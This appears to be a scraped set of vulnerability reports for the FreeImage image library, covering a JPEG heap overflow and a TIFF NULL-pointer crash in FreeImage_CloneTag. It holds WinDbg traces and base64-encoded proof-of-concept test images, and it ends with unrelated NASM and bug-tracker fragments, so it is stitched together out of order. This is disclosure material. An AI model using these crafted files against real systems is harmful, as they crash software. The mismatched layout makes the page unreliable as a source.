ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(5cb0.349c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=08539007 ebx\=00000009 ecx\=00000880 edx\=073590c8 esi\=00000721 edi\=00000000
eip\=1009aec5 esp\=0133f6cc ebp\=00000000 iopl\=0         nv up ei pl nz na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010206
FreeImage!jinit\_color\_deconverter+0x935:
1009aec5 8808            mov     byte ptr \[eax\],cl          ds:002b:08539007\=??
0:000\> db eax\-0x20
08538fe7  00 00 00 00 00 80 00 00-00 c0 c0 c0 c0 c0 80 c0  ................
08538ff7  c0 c0 c0 c0 d0 d0 d0 80\-d0 ?? ?? ?? ?? ?? ?? ??  .........???????
08539007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539027  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539037  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539047  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539057  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 0133f6d8 1009a383     00000808 073536cc 00000000 FreeImage!jinit\_color\_deconverter+0x935 (FPO: \[Uses EBP\] \[5,0,1\])
01 0133f704 100991d3     073536c0 07354fe0 07355008 FreeImage!jinit\_upsampler+0x263 (FPO: \[Uses EBP\] \[7,1,4\])
02 0133f734 10085bfa     0133f830 0133fa18 0133f754 FreeImage!jinit\_d\_main\_controller+0x1f3 (FPO: \[Uses EBP\] \[4,0,4\])
03 0133f74c 1002283f     00000000 0133fa18 00000001 FreeImage!jpeg\_read\_scanlines+0x8a (FPO: \[3,0,1\])
04 0133fa48 1000d9de     0133fa9c 07339fc8 ffffffff FreeImage!jpeg\_freeimage\_dst+0x1b1f (FPO: \[5,183,3\])
05 0133fa7c 1000da60     00000002 0133fa9c 07339fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
06 0133faa8 00b0107b     00000002 07335fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/jpeg;base64,/9j/2wADAP/KACMICAgICAkBETLvESEDESH/QSF5IgAxETExFDExIjExETEx/9oACAF5AAAAAA\==

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

NULL pointer dereference vulnerability in FreeImage before 1.18.0 via the FreeImage_CloneTag function inFreeImageTag.cpp.

> tl;dr:  
> When Load TIFF format files, field "StripOffsets" is read from file. If the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy().

When the program Open a TIFF format file, it will be handed to the "TIFFFdOpen()" function of the 'PluginTIFF.cpp' file,  
in "TIFFFdOpen()" functions, it call "TIFFReadDirectory()" function, and it use "hack" code. So field "StripOffsets" will set nullptr sometimes.

int
TIFFReadDirectory(TIFF\* tif){
......
        if ((tif->tif\_dir.td\_compression==COMPRESSION\_OJPEG) &&
            (isTiled(tif)==0) &&
            (tif->tif\_dir.td\_nstrips==1)) {
            /\*
             \* XXX: OJPEG hack.
             \* If a) compression is OJPEG, b) it's not a tiled TIFF,
             \* and c) the number of strips is 1,
             \* then we tolerate the absence of stripoffsets tag,
             \* because, presumably, all required data is in the
             \* JpegInterchangeFormat stream.
             \*/
            TIFFSetFieldBit(tif, FIELD\_STRIPOFFSETS);
......
}

When we Load a TIFF format file, it will be handed to the "Load()" function of the 'PluginTIFF.cpp' file, it will call FreeImage\_CloneTag() with tag 'StripOffsets' finally.

FITAG \* DLL\_CALLCONV 
FreeImage\_CloneTag(FITAG \*tag) {
    if(!tag) return NULL;

    // allocate a new tag
    FITAG \*clone \= FreeImage\_CreateTag();
    if(!clone) return NULL;

    try {
        // copy the tag
        FITAGHEADER \*src\_tag \= (FITAGHEADER \*)tag\->data;
        FITAGHEADER \*dst\_tag \= (FITAGHEADER \*)clone\->data;

        // tag ID
        dst\_tag\->id \= src\_tag\->id;
        // tag key
        if(src\_tag\->key) {
            dst\_tag\->key \= (char\*)malloc((strlen(src\_tag\->key) + 1) \* sizeof(char));
            if(!dst\_tag\->key) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->key, src\_tag\->key);
        }
        // tag description
        if(src\_tag\->description) {
            dst\_tag\->description \= (char\*)malloc((strlen(src\_tag\->description) + 1) \* sizeof(char));
            if(!dst\_tag\->description) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->description, src\_tag\->description);
        }
        // tag data type
        dst\_tag\->type \= src\_tag\->type;
        // tag count
        dst\_tag\->count \= src\_tag\->count;
        // tag length
        dst\_tag\->length \= src\_tag\->length;
        // tag value
        switch(dst\_tag\->type) {
            case FIDT\_ASCII:
                dst\_tag\->value \= (BYTE\*)malloc((src\_tag\->length + 1) \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);
                ((BYTE\*)dst\_tag\->value)\[src\_tag\->length\] \= 0;
                break;
            default:
                dst\_tag\->value \= (BYTE\*)malloc(src\_tag\->length \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);                    //<---- src\_tag\->value \= nullptr
                break;
        }

        return clone;

    } catch(const char \*message) {
        FreeImage\_DeleteTag(clone);
        FreeImage\_OutputMessageProc(FIF\_UNKNOWN, message);
        return NULL;
    }
}

So if the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy(). It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8558.62d4): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=cbc20000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=00aff42c ebp\=00aff458 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8558.62d4): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000008 ebx\=06a8bff8 ecx\=00000002 edx\=00000008 esi\=00000000 edi\=0fd44ff8
eip\=102a6e77 esp\=00aff500 ebp\=00aff54c iopl\=0         nv up ei pl nz ac po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010212
FreeImage!memcpy+0x507:
102a6e77 8b16            mov     edx,dword ptr \[esi\]  ds:002b:00000000\=????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 00aff504 1006577c     0fd44ff8 00000000 00000008 FreeImage!memcpy+0x507 (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 657\] 
01 00aff54c 10003dd0     0fd3efe8 00000001 0fd32ff8 FreeImage!FreeImage\_CloneTag+0x13c
02 00aff590 1006ba21     00000001 06a87ff8 0fd36ff0 FreeImage!FreeImage\_SetMetadata+0x3c0
03 00aff5d8 1006bb17     06a87ff8 1006bccd 06a87ff8 FreeImage!tiff\_read\_geotiff\_profile+0xa91 (FPO: \[Uses EBP\] \[2,11,4\])
04 00aff634 100356a2     06a87ff8 06a63c88 00aff900 FreeImage!tiff\_read\_exif\_tags+0x47
05 00aff664 10036c8b     06a63c88 06a87ff8 06a52fc8 FreeImage!\_TIFFmemcmp+0xae2
06 00aff8ac 1000d9de     00aff900 06a52fc8 105f0700 FreeImage!\_TIFFmemcmp+0x20cb (FPO: \[5,139,3\])
07 00aff8e0 1000da60     00000012 00aff900 06a52fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
08 00aff90c 00b0107b     00000012 06a4efee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAFAAABAwABAAAAMDAAAAEBAwABAAAAMDAAAAMBAwABAAAABgAAAAYBAwABAAAAAAAAAB4ABAAMAAAABAAAAAAAAAAAAAAAAAA\=

CVE-2021-40264: FreeImage / Bugs / #335 A NULL pointer dereference exists in function FreeImage_CloneTag() located in PluginTIFF.cpp

Buffer Overflow vulnerability in hash_findi function in hashtbl.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

Self-registration is disabled due to spam issue (mail gorcunov@gmail.com or hpa@zytor.com to create an account)

'3392644?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

Source

CVE